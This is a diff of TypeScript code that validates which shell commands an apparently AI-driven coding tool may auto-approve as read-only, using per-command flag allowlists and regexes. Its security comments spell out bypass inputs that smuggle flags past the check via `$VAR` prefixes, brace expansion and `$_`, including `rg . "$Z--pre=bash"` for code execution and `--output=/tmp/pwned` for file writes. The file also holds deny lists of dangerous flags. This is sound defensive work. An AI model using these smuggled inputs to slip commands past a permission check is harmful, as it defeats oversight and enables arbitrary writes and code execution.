+      // SECURITY: -R REMOVED. tree -R combined with -H (HTML mode) and -L (depth)
+      // WRITES 00Tree.html files to every subdirectory at the depth boundary.
+      // From man tree (< 2.1.0): "-R — at each of them execute tree again
+      // adding `-o 00Tree.html` as a new option." The comment "Rerun at max
+      // depth" was misleading — the "rerun" includes a hardcoded -o file write.
+      // `tree -R -H . -L 2 /path` → writes /path/<subdir>/00Tree.html for each
+      // subdir at depth 2. FILE WRITE, zero permissions.
+      '-P': 'string', // Include pattern
+      '-I': 'string', // Exclude pattern
+      '--gitignore': 'none',
+      '--gitfile': 'string',
+      '--ignore-case': 'none',
+      '--matchdirs': 'none',
+      '--metafirst': 'none',
+      '--prune': 'none',
+      '--info': 'none',
+      '--infofile': 'string',
+      '--noreport': 'none',
+      '--charset': 'string',
+      '--filelimit': 'number',
+      // File display options
+      '-q': 'none', // Non-printable as ?
+      '-N': 'none', // Non-printable as-is
+      '-Q': 'none', // Quote filenames
+      '-p': 'none', // Protections
+      '-u': 'none', // Owner
+      '-g': 'none', // Group
+      '-s': 'none', // Size bytes
+      '-h': 'none', // Human-readable sizes
+      '--si': 'none',
+      '--du': 'none',
+      '-D': 'none', // Last modification time
+      '--timefmt': 'string',
+      '-F': 'none', // Append indicator
+      '--inodes': 'none',
+      '--device': 'none',
+      // Sorting options
+      '-v': 'none', // Version sort
+      '-t': 'none', // Sort by mtime
+      '-c': 'none', // Sort by ctime
+      '-U': 'none', // Unsorted
+      '-r': 'none', // Reverse sort
+      '--dirsfirst': 'none',
+      '--filesfirst': 'none',
+      '--sort': 'string',
+      // Graphics/output options
+      '-i': 'none', // No indentation lines
+      '-A': 'none', // ANSI line graphics
+      '-S': 'none', // CP437 line graphics
+      '-n': 'none', // No color
+      '-C': 'none', // Color
+      '-X': 'none', // XML output
+      '-J': 'none', // JSON output
+      '-H': 'string', // HTML output with base HREF
+      '--nolinks': 'none',
+      '--hintro': 'string',
+      '--houtro': 'string',
+      '-T': 'string', // HTML title
+      '--hyperlink': 'none',
+      '--scheme': 'string',
+      '--authority': 'string',
+      // Input options (read from file, not write)
+      '--fromfile': 'none',
+      '--fromtabfile': 'none',
+      '--fflinks': 'none',
+      // Help and version
+      '--help': 'none',
+      '--version': 'none',
+    },
+  },
+  // date command - moved from READONLY_COMMANDS because -s/--set can set system time
+  // Also -f/--file can be used to read dates from file and set time
+  // We only allow safe display options
+  date: {
+    safeFlags: {
+      // Display options (safe - don't modify system time)
+      '-d': 'string', // --date=STRING - display time described by STRING
+      '--date': 'string',
+      '-r': 'string', // --reference=FILE - display file's modification time
+      '--reference': 'string',
+      '-u': 'none', // --utc - use UTC
+      '--utc': 'none',
+      '--universal': 'none',
+      // Output format options
+      '-I': 'none', // --iso-8601 (can have optional argument, but none type handles bare flag)
+      '--iso-8601': 'string',
+      '-R': 'none', // --rfc-email
+      '--rfc-email': 'none',
+      '--rfc-3339': 'string',
+      // Debug/help
+      '--debug': 'none',
+      '--help': 'none',
+      '--version': 'none',
+    },
+    // Dangerous flags NOT included (blocked by omission):
+    // -s / --set - sets system time
+    // -f / --file - reads dates from file (can be used to set time in batch)
+    // CRITICAL: date positional args in format MMDDhhmm[[CC]YY][.ss] set system time
+    // Use callback to verify positional args start with + (format strings like +"%Y-%m-%d")
+    additionalCommandIsDangerousCallback: (
+      _rawCommand: string,
+      args: string[],
+    ) => {
+      // args are already parsed tokens after "date"
+      // Flags that require an argument
+      const flagsWithArgs = new Set([
+        '-d',
+        '--date',
+        '-r',
+        '--reference',
+        '--iso-8601',
+        '--rfc-3339',
+      ])
+      let i = 0
+      while (i < args.length) {
+        const token = args[i]!
+        // Skip flags and their arguments
+        if (token.startsWith('--') && token.includes('=')) {
+          // Long flag with =value, already consumed
+          i++
+        } else if (token.startsWith('-')) {
+          // Flag - check if it takes an argument
+          if (flagsWithArgs.has(token)) {
+            i += 2 // Skip flag and its argument
+          } else {
+            i++ // Just skip the flag
+          }
+        } else {
+          // Positional argument - must start with + for format strings
+          // Anything else (like MMDDhhmm) could set system time
+          if (!token.startsWith('+')) {
+            return true // Dangerous
+          }
+          i++
+        }
+      }
+      return false // Safe
+    },
+  },
+  // hostname command - moved from READONLY_COMMANDS because positional args set hostname
+  // Also -F/--file sets hostname from file, -b/--boot sets default hostname
+  // We only allow safe display options and BLOCK any positional arguments
+  hostname: {
+    safeFlags: {
+      // Display options only (safe)
+      '-f': 'none', // --fqdn - display FQDN
+      '--fqdn': 'none',
+      '--long': 'none',
+      '-s': 'none', // --short - display short name
+      '--short': 'none',
+      '-i': 'none', // --ip-address
+      '--ip-address': 'none',
+      '-I': 'none', // --all-ip-addresses
+      '--all-ip-addresses': 'none',
+      '-a': 'none', // --alias
+      '--alias': 'none',
+      '-d': 'none', // --domain
+      '--domain': 'none',
+      '-A': 'none', // --all-fqdns
+      '--all-fqdns': 'none',
+      '-v': 'none', // --verbose
+      '--verbose': 'none',
+      '-h': 'none', // --help
+      '--help': 'none',
+      '-V': 'none', // --version
+      '--version': 'none',
+    },
+    // CRITICAL: Block any positional arguments - they set the hostname
+    // Also block -F/--file, -b/--boot, -y/--yp/--nis (not in safeFlags = blocked)
+    // Use regex to ensure no positional args after flags
+    regex: /^hostname(?:\s+(?:-[a-zA-Z]|--[a-zA-Z-]+))*\s*$/,
+  },
+  // info command - moved from READONLY_COMMANDS because -o/--output writes to files
+  // Also --dribble writes keystrokes to file, --init-file loads custom config
+  // We only allow safe display/navigation options
+  info: {
+    safeFlags: {
+      // Navigation/display options (safe)
+      '-f': 'string', // --file - specify manual file to read
+      '--file': 'string',
+      '-d': 'string', // --directory - search path
+      '--directory': 'string',
+      '-n': 'string', // --node - specify node
+      '--node': 'string',
+      '-a': 'none', // --all
+      '--all': 'none',
+      '-k': 'string', // --apropos - search
+      '--apropos': 'string',
+      '-w': 'none', // --where - show location
+      '--where': 'none',
+      '--location': 'none',
+      '--show-options': 'none',
+      '--vi-keys': 'none',
+      '--subnodes': 'none',
+      '-h': 'none',
+      '--help': 'none',
+      '--usage': 'none',
+      '--version': 'none',
+    },
+    // Dangerous flags NOT included (blocked by omission):
+    // -o / --output - writes output to file
+    // --dribble - records keystrokes to file
+    // --init-file - loads custom config (potential code execution)
+    // --restore - replays keystrokes from file
+  },
+
+  lsof: {
+    safeFlags: {
+      '-?': 'none',
+      '-h': 'none',
+      '-v': 'none',
+      '-a': 'none',
+      '-b': 'none',
+      '-C': 'none',
+      '-l': 'none',
+      '-n': 'none',
+      '-N': 'none',
+      '-O': 'none',
+      '-P': 'none',
+      '-Q': 'none',
+      '-R': 'none',
+      '-t': 'none',
+      '-U': 'none',
+      '-V': 'none',
+      '-X': 'none',
+      '-H': 'none',
+      '-E': 'none',
+      '-F': 'none',
+      '-g': 'none',
+      '-i': 'none',
+      '-K': 'none',
+      '-L': 'none',
+      '-o': 'none',
+      '-r': 'none',
+      '-s': 'none',
+      '-S': 'none',
+      '-T': 'none',
+      '-x': 'none',
+      '-A': 'string',
+      '-c': 'string',
+      '-d': 'string',
+      '-e': 'string',
+      '-k': 'string',
+      '-p': 'string',
+      '-u': 'string',
+      // OMITTED (writes to disk): -D (device cache file build/update)
+    },
+    // Block +m (create mount supplement file) — writes to disk.
+    // +prefix flags are treated as positional args by validateFlags,
+    // so we must catch them here. lsof accepts +m<path> (attached path, no space)
+    // with both absolute (+m/tmp/evil) and relative (+mfoo, +m.evil) paths.
+    additionalCommandIsDangerousCallback: (_rawCommand, args) =>
+      args.some(a => a === '+m' || a.startsWith('+m')),
+  },
+
+  pgrep: {
+    safeFlags: {
+      '-d': 'string',
+      '--delimiter': 'string',
+      '-l': 'none',
+      '--list-name': 'none',
+      '-a': 'none',
+      '--list-full': 'none',
+      '-v': 'none',
+      '--inverse': 'none',
+      '-w': 'none',
+      '--lightweight': 'none',
+      '-c': 'none',
+      '--count': 'none',
+      '-f': 'none',
+      '--full': 'none',
+      '-g': 'string',
+      '--pgroup': 'string',
+      '-G': 'string',
+      '--group': 'string',
+      '-i': 'none',
+      '--ignore-case': 'none',
+      '-n': 'none',
+      '--newest': 'none',
+      '-o': 'none',
+      '--oldest': 'none',
+      '-O': 'string',
+      '--older': 'string',
+      '-P': 'string',
+      '--parent': 'string',
+      '-s': 'string',
+      '--session': 'string',
+      '-t': 'string',
+      '--terminal': 'string',
+      '-u': 'string',
+      '--euid': 'string',
+      '-U': 'string',
+      '--uid': 'string',
+      '-x': 'none',
+      '--exact': 'none',
+      '-F': 'string',
+      '--pidfile': 'string',
+      '-L': 'none',
+      '--logpidfile': 'none',
+      '-r': 'string',
+      '--runstates': 'string',
+      '--ns': 'string',
+      '--nslist': 'string',
+      '--help': 'none',
+      '-V': 'none',
+      '--version': 'none',
+    },
+  },
+
+  tput: {
+    safeFlags: {
+      '-T': 'string',
+      '-V': 'none',
+      '-x': 'none',
+      // SECURITY: -S (read capability names from stdin) deliberately EXCLUDED.
+      // It must NOT be in safeFlags because validateFlags unbundles combined
+      // short flags (e.g., -xS → -x + -S), but the callback receives the raw
+      // token '-xS' and only checks exact match 'token === "-S"'. Excluding -S
+      // from safeFlags ensures validateFlags rejects it (bundled or not) before
+      // the callback runs. The callback's -S check is defense-in-depth.
+    },
+    additionalCommandIsDangerousCallback: (
+      _rawCommand: string,
+      args: string[],
+    ) => {
+      // Capabilities that modify terminal state or could be harmful.
+      // init/reset run iprog (arbitrary code from terminfo) and modify tty settings.
+      // rs1/rs2/rs3/is1/is2/is3 are the individual reset/init sequences that
+      // init/reset invoke internally — rs1 sends ESC c (full terminal reset).
+      // clear erases scrollback (evidence destruction). mc5/mc5p activate media copy
+      // (redirect output to printer device). smcup/rmcup manipulate screen buffer.
+      // pfkey/pfloc/pfx/pfxl program function keys — pfloc executes strings locally.
+      // rf is reset file (analogous to if/init_file).
+      const DANGEROUS_CAPABILITIES = new Set([
+        'init',
+        'reset',
+        'rs1',
+        'rs2',
+        'rs3',
+        'is1',
+        'is2',
+        'is3',
+        'iprog',
+        'if',
+        'rf',
+        'clear',
+        'flash',
+        'mc0',
+        'mc4',
+        'mc5',
+        'mc5i',
+        'mc5p',
+        'pfkey',
+        'pfloc',
+        'pfx',
+        'pfxl',
+        'smcup',
+        'rmcup',
+      ])
+      const flagsWithArgs = new Set(['-T'])
+      let i = 0
+      let afterDoubleDash = false
+      while (i < args.length) {
+        const token = args[i]!
+        if (token === '--') {
+          afterDoubleDash = true
+          i++
+        } else if (!afterDoubleDash && token.startsWith('-')) {
+          // Defense-in-depth: block -S even if it somehow passes validateFlags
+          if (token === '-S') return true
+          // Also check for -S bundled with other flags (e.g., -xS)
+          if (
+            !token.startsWith('--') &&
+            token.length > 2 &&
+            token.includes('S')
+          )
+            return true
+          if (flagsWithArgs.has(token)) {
+            i += 2
+          } else {
+            i++
+          }
+        } else {
+          if (DANGEROUS_CAPABILITIES.has(token)) return true
+          i++
+        }
+      }
+      return false
+    },
+  },
+
+  // ss — socket statistics (iproute2). Read-only query tool equivalent to netstat.
+  // SECURITY: -K/--kill (forcibly close sockets) and -D/--diag (dump raw data to file)
+  // are deliberately excluded. -F/--filter (read filter from file) also excluded.
+  ss: {
+    safeFlags: {
+      '-h': 'none',
+      '--help': 'none',
+      '-V': 'none',
+      '--version': 'none',
+      '-n': 'none',
+      '--numeric': 'none',
+      '-r': 'none',
+      '--resolve': 'none',
+      '-a': 'none',
+      '--all': 'none',
+      '-l': 'none',
+      '--listening': 'none',
+      '-o': 'none',
+      '--options': 'none',
+      '-e': 'none',
+      '--extended': 'none',
+      '-m': 'none',
+      '--memory': 'none',
+      '-p': 'none',
+      '--processes': 'none',
+      '-i': 'none',
+      '--info': 'none',
+      '-s': 'none',
+      '--summary': 'none',
+      '-4': 'none',
+      '--ipv4': 'none',
+      '-6': 'none',
+      '--ipv6': 'none',
+      '-0': 'none',
+      '--packet': 'none',
+      '-t': 'none',
+      '--tcp': 'none',
+      '-M': 'none',
+      '--mptcp': 'none',
+      '-S': 'none',
+      '--sctp': 'none',
+      '-u': 'none',
+      '--udp': 'none',
+      '-d': 'none',
+      '--dccp': 'none',
+      '-w': 'none',
+      '--raw': 'none',
+      '-x': 'none',
+      '--unix': 'none',
+      '--tipc': 'none',
+      '--vsock': 'none',
+      '-f': 'string',
+      '--family': 'string',
+      '-A': 'string',
+      '--query': 'string',
+      '--socket': 'string',
+      '-Z': 'none',
+      '--context': 'none',
+      '-z': 'none',
+      '--contexts': 'none',
+      // SECURITY: -N/--net EXCLUDED — performs setns(), unshare(), mount(), umount()
+      // to switch network namespace. While isolated to forked process, too invasive.
+      '-b': 'none',
+      '--bpf': 'none',
+      '-E': 'none',
+      '--events': 'none',
+      '-H': 'none',
+      '--no-header': 'none',
+      '-O': 'none',
+      '--oneline': 'none',
+      '--tipcinfo': 'none',
+      '--tos': 'none',
+      '--cgroup': 'none',
+      '--inet-sockopt': 'none',
+      // SECURITY: -K/--kill EXCLUDED — forcibly closes sockets
+      // SECURITY: -D/--diag EXCLUDED — dumps raw TCP data to a file
+      // SECURITY: -F/--filter EXCLUDED — reads filter expressions from a file
+    },
+  },
+
+  // fd/fdfind — fast file finder (fd-find). Read-only search tool.
+  // SECURITY: -x/--exec (execute command per result) and -X/--exec-batch
+  // (execute command with all results) are deliberately excluded.
+  fd: { safeFlags: { ...FD_SAFE_FLAGS } },
+  // fdfind is the Debian/Ubuntu package name for fd — same binary, same flags
+  fdfind: { safeFlags: { ...FD_SAFE_FLAGS } },
+
+  ...PYRIGHT_READ_ONLY_COMMANDS,
+  ...DOCKER_READ_ONLY_COMMANDS,
+}
+
+// gh commands are ant-only since they make network requests, which goes against
+// the read-only validation principle of no network access
+const ANT_ONLY_COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
+  // All gh read-only commands from shared validation map
+  ...GH_READ_ONLY_COMMANDS,
+  // aki — Anthropic internal knowledge-base search CLI.
+  // Network read-only (same policy as gh). --audit-csv omitted: writes to disk.
+  aki: {
+    safeFlags: {
+      '-h': 'none',
+      '--help': 'none',
+      '-k': 'none',
+      '--keyword': 'none',
+      '-s': 'none',
+      '--semantic': 'none',
+      '--no-adaptive': 'none',
+      '-n': 'number',
+      '--limit': 'number',
+      '-o': 'number',
+      '--offset': 'number',
+      '--source': 'string',
+      '--exclude-source': 'string',
+      '-a': 'string',
+      '--after': 'string',
+      '-b': 'string',
+      '--before': 'string',
+      '--collection': 'string',
+      '--drive': 'string',
+      '--folder': 'string',
+      '--descendants': 'none',
+      '-m': 'string',
+      '--meta': 'string',
+      '-t': 'string',
+      '--threshold': 'string',
+      '--kw-weight': 'string',
+      '--sem-weight': 'string',
+      '-j': 'none',
+      '--json': 'none',
+      '-c': 'none',
+      '--chunk': 'none',
+      '--preview': 'none',
+      '-d': 'none',
+      '--full-doc': 'none',
+      '-v': 'none',
+      '--verbose': 'none',
+      '--stats': 'none',
+      '-S': 'number',
+      '--summarize': 'number',
+      '--explain': 'none',
+      '--examine': 'string',
+      '--url': 'string',
+      '--multi-turn': 'number',
+      '--multi-turn-model': 'string',
+      '--multi-turn-context': 'string',
+      '--no-rerank': 'none',
+      '--audit': 'none',
+      '--local': 'none',
+      '--staging': 'none',
+    },
+  },
+}
+
+function getCommandAllowlist(): Record<string, CommandConfig> {
+  let allowlist: Record<string, CommandConfig> = COMMAND_ALLOWLIST
+  // On Windows, xargs can be used as a data-to-code bridge: if a file contains
+  // a UNC path, `cat file | xargs cat` feeds that path to cat, triggering SMB
+  // resolution. Since the UNC path is in file contents (not the command string),
+  // regex-based detection cannot catch this.
+  if (getPlatform() === 'windows') {
+    const { xargs: _, ...rest } = allowlist
+    allowlist = rest
+  }
+  if (process.env.USER_TYPE === 'ant') {
+    return { ...allowlist, ...ANT_ONLY_COMMAND_ALLOWLIST }
+  }
+  return allowlist
+}
+
+/**
+ * Commands that are safe to use as xargs targets for auto-approval.
+ *
+ * SECURITY: Only add a command to this list if it has NO flags that can:
+ * 1. Write to files (e.g., find's -fprint, sed's -i)
+ * 2. Execute code (e.g., find's -exec, awk's system(), perl's -e)
+ * 3. Make network requests
+ *
+ * These commands must be purely read-only utilities. When xargs uses one of
+ * these as a target, we stop validating flags after the target command
+ * (see the `break` in isCommandSafeViaFlagParsing), so the command itself
+ * must not have ANY dangerous flags, not just a safe subset.
+ *
+ * Each command was verified by checking its man page for dangerous capabilities.
+ */
+const SAFE_TARGET_COMMANDS_FOR_XARGS = [
+  'echo', // Output only, no dangerous flags
+  'printf', // xargs runs /usr/bin/printf (binary), not bash builtin — no -v support
+  'wc', // Read-only counting, no dangerous flags
+  'grep', // Read-only search, no dangerous flags
+  'head', // Read-only, no dangerous flags
+  'tail', // Read-only (including -f follow), no dangerous flags
+]
+
+/**
+ * Unified command validation function that replaces individual validator functions.
+ * Uses declarative configuration from COMMAND_ALLOWLIST to validate commands and their flags.
+ * Handles combined flags, argument validation, and shell quoting bypass detection.
+ */
+export function isCommandSafeViaFlagParsing(command: string): boolean {
+  // Parse the command to get individual tokens using shell-quote for accuracy
+  // Handle glob operators by converting them to strings, they don't matter from the perspective
+  // of this function
+  const parseResult = tryParseShellCommand(command, env => `$${env}`)
+  if (!parseResult.success) return false
+
+  const parsed = parseResult.tokens.map(token => {
+    if (typeof token !== 'string') {
+      token = token as { op: 'glob'; pattern: string }
+      if (token.op === 'glob') {
+        return token.pattern
+      }
+    }
+    return token
+  })
+
+  // If there are operators (pipes, redirects, etc.), it's not a simple command.
+  // Breaking commands down into their constituent parts is handled upstream of
+  // this function, so we reject anything with operators here.
+  const hasOperators = parsed.some(token => typeof token !== 'string')
+  if (hasOperators) {
+    return false
+  }
+
+  // Now we know all tokens are strings
+  const tokens = parsed as string[]
+
+  if (tokens.length === 0) {
+    return false
+  }
+
+  // Find matching command configuration
+  let commandConfig: CommandConfig | undefined
+  let commandTokens: number = 0
+
+  // Check for multi-word commands first (e.g., "git diff", "git stash list")
+  const allowlist = getCommandAllowlist()
+  for (const [cmdPattern] of Object.entries(allowlist)) {
+    const cmdTokens = cmdPattern.split(' ')
+    if (tokens.length >= cmdTokens.length) {
+      let matches = true
+      for (let i = 0; i < cmdTokens.length; i++) {
+        if (tokens[i] !== cmdTokens[i]) {
+          matches = false
+          break
+        }
+      }
+      if (matches) {
+        commandConfig = allowlist[cmdPattern]
+        commandTokens = cmdTokens.length
+        break
+      }
+    }
+  }
+
+  if (!commandConfig) {
+    return false // Command not in allowlist
+  }
+
+  // Special handling for git ls-remote to reject URLs that could lead to data exfiltration
+  if (tokens[0] === 'git' && tokens[1] === 'ls-remote') {
+    // Check if any argument looks like a URL or remote specification
+    for (let i = 2; i < tokens.length; i++) {
+      const token = tokens[i]
+      if (token && !token.startsWith('-')) {
+        // Reject HTTP/HTTPS URLs
+        if (token.includes('://')) {
+          return false
+        }
+        // Reject SSH URLs like git@github.com:user/repo.git
+        if (token.includes('@') || token.includes(':')) {
+          return false
+        }
+        // Reject variable references
+        if (token.includes('$')) {
+          return false
+        }
+      }
+    }
+  }
+
+  // SECURITY: Reject ANY token containing `$` (variable expansion). The
+  // `env => \`$${env}\`` callback at line 825 preserves `$VAR` as LITERAL TEXT
+  // in tokens, but bash expands it at runtime (unset vars → empty string).
+  // This parser differential defeats BOTH validateFlags and callbacks:
+  //
+  //   (1) `$VAR`-prefix defeats validateFlags `startsWith('-')` check:
+  //       `git diff "$Z--output=/tmp/pwned"` → token `$Z--output=/tmp/pwned`
+  //       (starts with `$`) falls through as positional at ~:1730. Bash runs
+  //       `git diff --output=/tmp/pwned`. ARBITRARY FILE WRITE, zero perms.
+  //
+  //   (2) `$VAR`-prefix → RCE via `rg --pre`:
+  //       `rg . "$Z--pre=bash" FILE` → executes `bash FILE`. rg's config has
+  //       no regex and no callback. SINGLE-STEP ARBITRARY CODE EXECUTION.
+  //
+  //   (3) `$VAR`-infix defeats additionalCommandIsDangerousCallback regex:
+  //       `ps ax"$Z"e` → token `ax$Ze`. The ps callback regex
+  //       `/^[a-zA-Z]*e[a-zA-Z]*$/` fails on `$` → "not dangerous". Bash runs
+  //       `ps axe` → env vars for all processes. A fix limited to `$`-PREFIXED
+  //       tokens would NOT close this.
+  //
+  // We check ALL tokens after the command prefix. Any `$` means we cannot
+  // determine the runtime token value, so we cannot verify read-only safety.
+  // This check must run BEFORE validateFlags and BEFORE callbacks.
+  for (let i = commandTokens; i < tokens.length; i++) {
+    const token = tokens[i]
+    if (!token) continue
+    // Reject any token containing $ (variable expansion)
+    if (token.includes('$')) {
+      return false
+    }
+    // Reject tokens with BOTH `{` and `,` (brace expansion obfuscation).
+    // `git diff {@'{'0},--output=/tmp/pwned}` → shell-quote strips quotes
+    // → token `{@{0},--output=/tmp/pwned}` has `{` + `,` → brace expansion.
+    // This is defense-in-depth with validateBraceExpansion in bashSecurity.ts.
+    // We require BOTH `{` and `,` to avoid false positives on legitimate
+    // patterns: `stash@{0}` (git ref, has `{` no `,`), `{{.State}}` (Go
+    // template, no `,`), `prefix-{}-suffix` (xargs, no `,`). Sequence form
+    // `{1..5}` also needs checking (has `{` + `..`).
+    if (token.includes('{') && (token.includes(',') || token.includes('..'))) {
+      return false
+    }
+  }
+
+  // Validate flags starting after the command tokens
+  if (
+    !validateFlags(tokens, commandTokens, commandConfig, {
+      commandName: tokens[0],
+      rawCommand: command,
+      xargsTargetCommands:
+        tokens[0] === 'xargs' ? SAFE_TARGET_COMMANDS_FOR_XARGS : undefined,
+    })
+  ) {
+    return false
+  }
+
+  if (commandConfig.regex && !commandConfig.regex.test(command)) {
+    return false
+  }
+  if (!commandConfig.regex && /`/.test(command)) {
+    return false
+  }
+  // Block newlines and carriage returns in grep/rg patterns as they can be used for injection
+  if (
+    !commandConfig.regex &&
+    (tokens[0] === 'rg' || tokens[0] === 'grep') &&
+    /[\n\r]/.test(command)
+  ) {
+    return false
+  }
+  if (
+    commandConfig.additionalCommandIsDangerousCallback &&
+    commandConfig.additionalCommandIsDangerousCallback(
+      command,
+      tokens.slice(commandTokens),
+    )
+  ) {
+    return false
+  }
+
+  return true
+}
+
+/**
+ * Creates a regex pattern that matches safe invocations of a command.
+ *
+ * The regex ensures commands are invoked safely by blocking:
+ * - Shell metacharacters that could lead to command injection or redirection
+ * - Command substitution via backticks or $()
+ * - Variable expansion that could contain malicious payloads
+ * - Environment variable assignment bypasses (command=value)
+ *
+ * @param command The command name (e.g., 'date', 'npm list', 'ip addr')
+ * @returns RegExp that matches safe invocations of the command
+ */
+function makeRegexForSafeCommand(command: string): RegExp {
+  // Create regex pattern: /^command(?:\s|$)[^<>()$`|{}&;\n\r]*$/
+  return new RegExp(`^${command}(?:\\s|$)[^<>()$\`|{}&;\\n\\r]*$`)
+}
+
+// Simple commands that are safe for execution (converted to regex patterns using makeRegexForSafeCommand)
+// WARNING: If you are adding new commands here, be very careful to ensure
+// they are truly safe. This includes ensuring:
+// 1. That they don't have any flags that allow file writing or command execution
+// 2. Use makeRegexForSafeCommand() to ensure proper regex pattern creation
+const READONLY_COMMANDS = [
+  // Cross-platform commands from shared validation
+  ...EXTERNAL_READONLY_COMMANDS,
+
+  // Unix/bash-specific read-only commands (not shared because they don't exist in PowerShell)
+
+  // Time and date
+  'cal',
+  'uptime',
+
+  // File content viewing (relative paths handled separately)
+  'cat',
+  'head',
+  'tail',
+  'wc',
+  'stat',
+  'strings',
+  'hexdump',
+  'od',
+  'nl',
+
+  // System info
+  'id',
+  'uname',
+  'free',
+  'df',
+  'du',
+  'locale',
+  'groups',
+  'nproc',
+
+  // Path information
+  'basename',
+  'dirname',
+  'realpath',
+
+  // Text processing
+  'cut',
+  'paste',
+  'tr',
+  'column',
+  'tac', // Reverse cat — displays file contents in reverse line order
+  'rev', // Reverse characters in each line
+  'fold', // Wrap lines to specified width
+  'expand', // Convert tabs to spaces
+  'unexpand', // Convert spaces to tabs
+  'fmt', // Simple text formatter — output to stdout only
+  'comm', // Compare sorted files line by line
+  'cmp', // Byte-by-byte file comparison
+  'numfmt', // Number format conversion
+
+  // Path information (additional)
+  'readlink', // Resolve symlinks — displays target of symbolic link
+
+  // File comparison
+  'diff',
+
+  // true and false, used to silence or create errors
+  'true',
+  'false',
+
+  // Misc. safe commands
+  'sleep',
+  'which',
+  'type',
+  'expr', // Evaluate expressions (arithmetic, string matching)
+  'test', // Conditional evaluation (file checks, comparisons)
+  'getconf', // Get system configuration values
+  'seq', // Generate number sequences
+  'tsort', // Topological sort
+  'pr', // Paginate files for printing
+]
+
+// Complex commands that require custom regex patterns
+// Warning: If possible, avoid adding new regexes here and prefer using COMMAND_ALLOWLIST
+// instead. This allowlist-based approach to CLI flags is more secure and avoids
+// vulns coming from gnu getopt_long.
+const READONLY_COMMAND_REGEXES = new Set([
+  // Convert simple commands to regex patterns using makeRegexForSafeCommand
+  ...READONLY_COMMANDS.map(makeRegexForSafeCommand),
+
+  // Echo that doesn't execute commands or use variables
+  // Allow newlines in single quotes (safe) but not in double quotes (could be dangerous with variable expansion)
+  // Also allow optional 2>&1 stderr redirection at the end
+  /^echo(?:\s+(?:'[^']*'|"[^"$<>\n\r]*"|[^|;&`$(){}><#\\!"'\s]+))*(?:\s+2>&1)?\s*$/,
+
+  // Claude CLI help
+  /^claude -h$/,
+  /^claude --help$/,
+
+  // Git readonly commands are now handled via COMMAND_ALLOWLIST with explicit flag validation
+  // (git status, git blame, git ls-files, git config --get, git remote, git tag, git branch)
+
+  /^uniq(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?|-[fsw]\s+\d+))*(?:\s|$)\s*$/, // Only allow flags, no input/output files
+
+  // System info
+  /^pwd$/,
+  /^whoami$/,
+  // env and printenv removed - could expose sensitive environment variables
+
+  // Development tools version checking - exact match only, no suffix allowed.
+  // SECURITY: `node -v --run <task>` would execute package.json scripts because
+  // Node processes --run before -v. Python/python3 --version are also anchored
+  // for defense-in-depth. These were previously in EXTERNAL_READONLY_COMMANDS which
+  // flows through makeRegexForSafeCommand and permits arbitrary suffixes.
+  /^node -v$/,
+  /^node --version$/,
+  /^python --version$/,
+  /^python3 --version$/,
+
+  // Misc. safe commands
+  // tree command moved to COMMAND_ALLOWLIST for proper flag validation (blocks -o/--output)
+  /^history(?:\s+\d+)?\s*$/, // Only allow bare history or history with numeric argument - prevents file writing
+  /^alias$/,
+  /^arch(?:\s+(?:--help|-h))?\s*$/, // Only allow arch with help flags or no arguments
+
+  // Network commands - only allow exact commands with no arguments to prevent network manipulation
+  /^ip addr$/, // Only allow "ip addr" with no additional arguments
+  /^ifconfig(?:\s+[a-zA-Z][a-zA-Z0-9_-]*)?\s*$/, // Allow ifconfig with interface name only (must start with letter)
+
+  // JSON processing with jq - allow with inline filters and file arguments
+  // File arguments are validated separately by pathValidation.ts
+  // Allow pipes and complex expressions within quotes but prevent dangerous flags
+  // Block command substitution - backticks are dangerous even in single quotes for jq
+  // Block -f/--from-file, --rawfile, --slurpfile (read files into jq), --run-tests, -L/--library-path (load executable modules)
+  // Block 'env' builtin and '$ENV' object which can access environment variables (defense in depth)
+  /^jq(?!\s+.*(?:-f\b|--from-file|--rawfile|--slurpfile|--run-tests|-L\b|--library-path|\benv\b|\$ENV\b))(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?))*(?:\s+'[^'`]*'|\s+"[^"`]*"|\s+[^-\s'"][^\s]*)+\s*$/,
+
+  // Path commands (path validation ensures they're allowed)
+  // cd command - allows changing to directories
+  /^cd(?:\s+(?:'[^']*'|"[^"]*"|[^\s;|&`$(){}><#\\]+))?$/,
+  // ls command - allows listing directories
+  /^ls(?:\s+[^<>()$`|{}&;\n\r]*)?$/,
+  // find command - blocks dangerous flags
+  // Allow escaped parentheses \( and \) for grouping, but block unescaped ones
+  // NOTE: \\[()] must come BEFORE the character class to ensure \( is matched as an escaped paren,
+  // not as backslash + paren (which would fail since paren is excluded from the character class)
+  /^find(?:\s+(?:\\[()]|(?!-delete\b|-exec\b|-execdir\b|-ok\b|-okdir\b|-fprint0?\b|-fls\b|-fprintf\b)[^<>()$`|{}&;\n\r\s]|\s)+)?$/,
+])
+
+/**
+ * Checks if a command contains glob characters (?, *, [, ]) or expandable `$`
+ * variables OUTSIDE the quote contexts where bash would treat them as literal.
+ * These could expand to bypass our regex-based security checks.
+ *
+ * Glob examples:
+ * - `python *` could expand to `python --help` if a file named `--help` exists
+ * - `find ./ -?xec` could expand to `find ./ -exec` if such a file exists
+ * Globs are literal inside BOTH single and double quotes.
+ *
+ * Variable expansion examples:
+ * - `uniq --skip-chars=0$_` → `$_` expands to last arg of previous command;
+ *   with IFS word splitting, this smuggles positional args past "flags-only"
+ *   regexes. `echo " /etc/passwd /tmp/x"; uniq --skip-chars=0$_` → FILE WRITE.
+ * - `cd "$HOME"` → double-quoted `$HOME` expands at runtime.
+ * Variables are literal ONLY inside single quotes; they expand inside double
+ * quotes and unquoted.
+ *
+ * The `$` check guards the READONLY_COMMAND_REGEXES fallback path. The `$`
+ * token check in isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
+ * commands; hand-written regexes like uniq's `\S+` and cd's `"[^"]*"` allow `$`.
+ * Matches `$` followed by `[A-Za-z_@*#?!$0-9-]` covering `$VAR`, `$_`, `$@`,
+ * `$*`, `$#`, `$?`, `$!`, `$$`, `$-`, `$0`-`$9`. Does NOT match `${` or `$(` —
+ * those are caught by COMMAND_SUBSTITUTION_PATTERNS in bashSecurity.ts.
+ *
+ * @param command The command string to check
+ * @returns true if the command contains unquoted glob or expandable `$`
+ */
+function containsUnquotedExpansion(command: string): boolean {
+  // Track quote state to avoid false positives for patterns inside quoted strings
+  let inSingleQuote = false
+  let inDoubleQuote = false
+  let escaped = false
+
+  for (let i = 0; i < command.length; i++) {
+    const currentChar = command[i]
+
